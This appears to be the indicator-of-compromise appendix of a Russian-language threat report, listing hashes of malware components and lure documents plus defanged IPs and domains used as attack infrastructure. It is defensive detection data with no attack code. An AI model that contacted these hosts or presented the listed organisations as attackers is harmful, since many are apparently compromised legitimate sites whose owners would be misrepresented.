Cacher.hls-iol | 12011c44955fd6631113f68a99447515 | 4f4f8cf0f9b47d0ad95d159201fe7e72fbc8448d | c92c158d7c37fea795114fa6491fe5f145ad2f8c08776b18ae79db811e8e36a3 |
CommsCacher.bin | 74c71671764610245a392f7e7444694c | d28318b4ab7a9076eed8f20306ddf68731ed2357 | 7e37d83efd01785acecb1c1748081d3ba3bd3e5d11436b930f0157b39639fcfa |
CommsCacher.dat | 8ec9ff02b58559c851b59189a9d57124 | 9952c3fa4bce7ef68f8f6a50a593c8ead2481488 | 56f5252ea7b10a8a2ec0e8b727bb4e85fa2a06512d7e73ca1f3f87cf7b7afafe |
CommsCacher.dat | 3af010659d19b69d8fbc9b9bb917f603 | 4b404db4dbdf9240926fc9f3225e4cdd3a9f443c | d6b7cdd046f0c185e9064e6be4a480a4f4d1987647a14076ccbf8af10a9ae755 |
CommsMangement.tls | - | - | 02546fae0355905d341dedb15efa1815b813d3ecab6d9bc920c5446705149fa8 |
commspkg.bin | a63d7e501a17c8917ef96d4b31fa100b | 6e8728af6cc4a7daa06e4ced52a8f45ec6229fd8 | 0dba9eaac49d78c6913bb4cf246642d8842f8c5e3e4e291fec95710362f3196d |
GD2020090939393903.doc | 415cd5c206baf793708952777ae0c987 | 6db80e381260eab8c93ee51bed40b1d5c38601bb | 7d235c717a031fc7941525b9ea8f5250a9a3e08a179caf26036fc8acae68fbe9 |
GD2020090939393903.doc | 6e815cacb43c9bc055399a4fd4922ebc | fe1894d343484cb3dc7ec16bef8252bd64cb7b6e | 1174fd03271f80f5e2a6435c72bdd0272a6e3a37049f6190abf125b216a83471 |
GD20200909GAB31.doc | 2e83293e8da65d54253ca3b5bd87c414 | 188415339edc3b54f6627f57bc77d4d500a670a3 | bc54765b4790b5a0a24768453d7345bf85848deb4f3a208ce97e79e8da03f866 |
GD20200909GAB31.doc | b2b8a0f74500bc0a93a7e54b06de5020 | b42b60fc26bce51269ba6641fdf406a3491e6c6d | 385b758ae75075b540943ce94d6c659f77b9ae3c13dbf2ca1a4584a663938515 |
GDLS_2020090392828334.doc | 8ed89d14dee005ea59634aade15dba97 | ea93acf0c278dd59e29ae1402d35db8e0f3ae966 | 9c906c2f3bfb24883a8784a92515e6337e1767314816d5d9738f9ec182beaf44 |
GDLS202009069871.doc | 058542975392c9636371b88a3f6142d7 | e8cdac8acff9a39d016095c165b7c366e93adec5 | 75bf8feeac2b5b1690feab45155a6b97419d6d1b0d36083daccb061dc5dbdea8 |
GDLS202009069871.pdf | e5ff537666b387c39a406cbbb359b2ed | 4610a559b21b7e5e62925c115863e82ffa0b8977 | e13888eed2466efaae729f16fc8e348fbabea8d7acd6db4e062f6c0930128f8f |
GDLS47129481.docx | 994c02f8c721254a959ed9bc823ab94b | 610960413c81cf391a8f28fb83b2482f446953ca | 17f1c3dc3ad9e0e87e6a131bd93d12c074b443f365eea2e720b9d9939f9ce22e |
InternalPDFViewer.exe | - | - | 2aa3fd1c4b1036efc75bd422875c170a9d2f54c4640213898332579b04f97eac |
MemoryCacher.dat | bc731ade86b380e87eb6188b7f2b4255 | 3ccec13409045f9a6903a3bee1db474c75f959fe | c3a6e07ab16c8c887368ec65bed759f4690efcb539eb6a0904db005d1fe25427 |
MSSqlite3.lnk | 2a0da707ab46c53d9af2f059c3150c62 | e7526de25b1f759c7a7bbe61095cfebbae7c158d | e8ae38308c499577ad36758655e62ce069c1e303c7d301427d131b3a4a9ed9ea |
MSSqlite3Svc.lnk | ea9ff940a65e650ef2090148b0e67853 | 1d24d431daf8566a84432a149989c43f57c4a5ef | fcaead308afb9cc4fb31c10ec345b4607f2e2430f83f0a8525f352d72a3af540 |
regid.mdb | 963e8cfaa40226ba2e5d516464572446 | fc64890ac49970cccdc80826d40e50f50b5d5b6f | 7434c5de43c561780965ba8897a27caaa12944b7b3b135952e622da7189a5f9e |
regid.mdb | 277962f69a26cc7ac55e9dceb83af9d1 | e9e691f11cfecb706c29f729ae660240ee9acbcb | cca1ee1d92f7dac86077b7b826f0f57498811bec7ef149d08ccdd59893797684 |
usomsqlite3.lgs.dat | c2c399e9e78dbe447c3971014881ca05 | c5abf0f2903b0549c20a8f964af7c4d24e730d9a | e924b7c21b298ab185de26b0b28457b02e6cc1f7e42d241805f80d549c4e86ba |
volitile.dat | - | - | 30cc1612fa94be4e02a5c22b2cfbc1560d6e5bf32de9d8b37460f95a57279c3c |
IP | Домен | Страна | Организация |
---|---|---|---|
182.48.49[.]233 | goldllama4.sakura[.]ne.jp | JP | AS9371 SAKURA Internet Inc. |
150.60.192[.]67 | propro[.]jp | JP | AS9597 KDDI Web Communications Inc. |
54.64.30[.]175 | vega.mh-tec[.]jp | JP | AS16509 Amazon.com |
164.46.106[.]43 | hospitality-partners[.]co.jp | JP | AS4694 IDC Frontier Inc. |
118.128.190[.]191 | apars-surgery[.]org | KR | AS3786 LG DACOM Corporation |
160.153.142[.]0 | akramportal[.]org | NL | AS21501 Host Europe GmbH |
198.133.183[.]67 | bootcamp-coders.cnm[.]edu | US | AS4869 Central New Mexico Community College |
166.62.39[.]82 | clicktocareers[.]com | US | AS26496 GoDaddy.com |
23.152.0[.]232 | forecareer[.]com | US | AS8100 QuadraNet Enterprises LLC |
162.241.219[.]119 | gbflatinamerica[.]com | US | AS46606 Unified Layer |
92.249.45[.]182 | inovecommerce[.]com.br | US | AS47583 Hostinger International Limited |